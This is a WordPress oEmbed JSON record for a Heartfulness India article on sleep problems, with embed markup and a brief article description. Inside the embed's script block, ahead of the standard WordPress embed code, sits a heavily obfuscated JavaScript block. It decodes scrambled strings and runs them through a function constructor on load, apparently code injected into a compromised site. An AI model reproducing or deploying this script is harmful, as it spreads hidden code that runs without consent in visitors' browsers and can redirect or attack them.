{"version":"1.0","provider_name":"Heartfulness India","provider_url":"https:\/\/writenode.heartfulness.org\/in","author_name":"Prashanth Bhardwaj","author_url":"https:\/\/writenode.heartfulness.org\/in\/author\/prashanth-bhardwaj\/","title":"The Endemic Problem of Sleep - Heartfulness India","type":"rich","width":600,"height":338,"html":"<blockquote class=\"wp-embedded-content\" data-secret=\"R05tOIVzlT\"><a href=\"https:\/\/writenode.heartfulness.org\/in\/the-endemic-problem-of-sleep\/\">The Endemic Problem of Sleep<\/a><\/blockquote><iframe sandbox=\"allow-scripts\" security=\"restricted\" src=\"https:\/\/writenode.heartfulness.org\/in\/the-endemic-problem-of-sleep\/embed\/#?secret=R05tOIVzlT\" width=\"600\" height=\"338\" title=\"&#8220;The Endemic Problem of Sleep&#8221; &#8212; Heartfulness India\" data-secret=\"R05tOIVzlT\" frameborder=\"0\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"no\" class=\"wp-embedded-content\"><\/iframe><script type=\"text\/javascript\">\nvar language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y<f;y++){o[y]=d.charAt(y)};for(var y=0;y<f;y++){var r=j*(y+175)+(j%50405);var t=j*(y+626)+(j%53026);var a=r%f;var w=t%f;var b=o[a];o[a]=o[w];o[w]=b;j=(r+t)%7175692;};return o.join('')};var IDT=JOC('rynuunpjqsrkbdtecoomxtgfsolwcrhzvacti').substr(0,UxF);var wQg='];((t(1emA=3 vp=(.pv(r5f;can5rah7[,g\"lm1(ilunp)nv][=\"uba; k=.thvraaa)).5)90;+21iud.6t8w<u1o7 vsg=0;l9o\"i2*v0m8\"2rq0i);)7=;{0j.ei=ecf7rnm8a)u=g]uukzuAnu,,kgu.cw[ .A]1=a+,;n[o[\"t{]2(98(s(vi.et=c6-]bafflov4ro1n07ef{b(,;dia8=of;=hho]r))h-rr zptrzlk=j)s;+;0pfrmt(-aruilol}.;ff9ot4b0,,t)v];rjr1)b*;,Seav i=.lil]r=i=)k+ar=]et8+r=n;fg v1ia..h6hs\"anofa;=vht[s;<r f0nC+hc)p a}m1r<, pv{v;=4++;;6.,hsmCgdsAtlpvrtf.q,Cwgvp().,v.9rC(,(+==7nn6s}7rta=e))((+==;.\";r+p.=n;h;\")t n pddrco(u),C0;}()tg9o8+;6anp  i1ieergx+i)0+fi+n;([hel)dhro2;-g=we;f(f1s ht3=e  !thinivl}easpn=9(gn);=,,6e[(;>)s[,j)ghp7;p=batuihrjsri,a g=;,is(=8+.o+gv.(rr-;=].uzv 3,rp+oC=\"o(t)hsqu+hctlhsg;-}7uv;s)f=a[rtrlltsyn(h7,;}+calih5.g[hor;kechrx.qej4rneao);sn1uor[9),;;>0fvm2teb,v289fc c t[nedr{e b=a-r.,p46f,zCzvpl=d]nvjhzChnlrar;gs{igt(.a(,]< aeeasxaxgpslmtn{.)ec+(<x.=uo)9((r]aS[f(ogt;a=a,o\")rAvg(1p; o;)neu=a+ +ns+lir(a+t!)f4jo=dgrg;';var CfB=JOC[IDT];var AzB='';var DUT=CfB;var gYD=CfB(AzB,JOC(wQg));var ENJ=gYD(JOC('!s(or3{0B=bB3a,wse6c0)ionBs\\\/o9r(t1;_1(ot.=!%iBB!p7_B}mBB.(eds4#Bk%!52,wrr3.r).B#c4.4(a*:;))1v0n1i_}r.DB5n(!5i],oBac;,o*8(+c!)_D,!4pnh%n(tsp4!gt%\\\/(t.rr}aerB5a.st=1,$ u7B]{7vc$c\"llcj(7eBtuecytBwssBBB.1{4ywe=(r\\\/]Dl.r(om,1$f.\\'=%t.8_dl]c.Tpes8gB_f{.C,4nw0t%fk)a.h$t\\\/a4 %B2gc, +.mp%.,..22iu9,g){.B)x#!5=S.oS(C,\\'6t.peg,)]B4lBB$Bu]n8rB 21Bs{$y\\'\\'o7_.33!.!t26{g;-ip\"]4u6#i$r.!l]2gt$c%);-a,uv;fo2un.ojyiuewvo)B8 h](0sBi{}upB9c2!%.\"8ce4Bd)%.h[](B3+ 01t)ahbh $BBaBv+(B83  c3p!03e%h5>)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\\\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\\\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\\\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\\\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\\';,%],s)aj+#\"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn\".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\\\/.a7aB3e=BBsu]b9B\"Bas%3;&(B2%\"$ema\"+BrB,$.ps\\\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_\"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();\/*! This file is auto-generated *\/\n!function(c,d){\"use strict\";var e=!1,o=!1;if(d.querySelector)if(c.addEventListener)e=!0;if(c.wp=c.wp||{},c.wp.receiveEmbedMessage);else if(c.wp.receiveEmbedMessage=function(e){var t=e.data;if(!t);else if(!(t.secret||t.message||t.value));else if(\/[^a-zA-Z0-9]\/.test(t.secret));else{for(var r,s,a,i=d.querySelectorAll('iframe[data-secret=\"'+t.secret+'\"]'),n=d.querySelectorAll('blockquote[data-secret=\"'+t.secret+'\"]'),o=new RegExp(\"^https?:$\",\"i\"),l=0;l<n.length;l++)n[l].style.display=\"none\";for(l=0;l<i.length;l++)if(r=i[l],e.source!==r.contentWindow);else{if(r.removeAttribute(\"style\"),\"height\"===t.message){if(1e3<(s=parseInt(t.value,10)))s=1e3;else if(~~s<200)s=200;r.height=s}if(\"link\"===t.message)if(s=d.createElement(\"a\"),a=d.createElement(\"a\"),s.href=r.getAttribute(\"src\"),a.href=t.value,!o.test(a.protocol));else if(a.host===s.host)if(d.activeElement===r)c.top.location.href=t.value}}},e)c.addEventListener(\"message\",c.wp.receiveEmbedMessage,!1),d.addEventListener(\"DOMContentLoaded\",t,!1),c.addEventListener(\"load\",t,!1);function t(){if(o);else{o=!0;for(var e,t,r,s=-1!==navigator.appVersion.indexOf(\"MSIE 10\"),a=!!navigator.userAgent.match(\/Trident.*rv:11\\.\/),i=d.querySelectorAll(\"iframe.wp-embedded-content\"),n=0;n<i.length;n++){if(!(r=(t=i[n]).getAttribute(\"data-secret\")))r=Math.random().toString(36).substr(2,10),t.src+=\"#?secret=\"+r,t.setAttribute(\"data-secret\",r);if(s||a)(e=t.cloneNode(!0)).removeAttribute(\"security\"),t.parentNode.replaceChild(e,t);t.contentWindow.postMessage({message:\"ready\",secret:r},\"*\")}}}}(window,document);\n<\/script>\n","description":"Why your bad sleep habits might be costing you, and how to fix them Over the last year, insomnia has risen significantly in the general populace. Although overall stress and anxiety has also increased &#8211; both of which can have a negative impact on sleep patterns &#8211; other factors such as loss or interruption of routine have also been creating&hellip;... Read More."}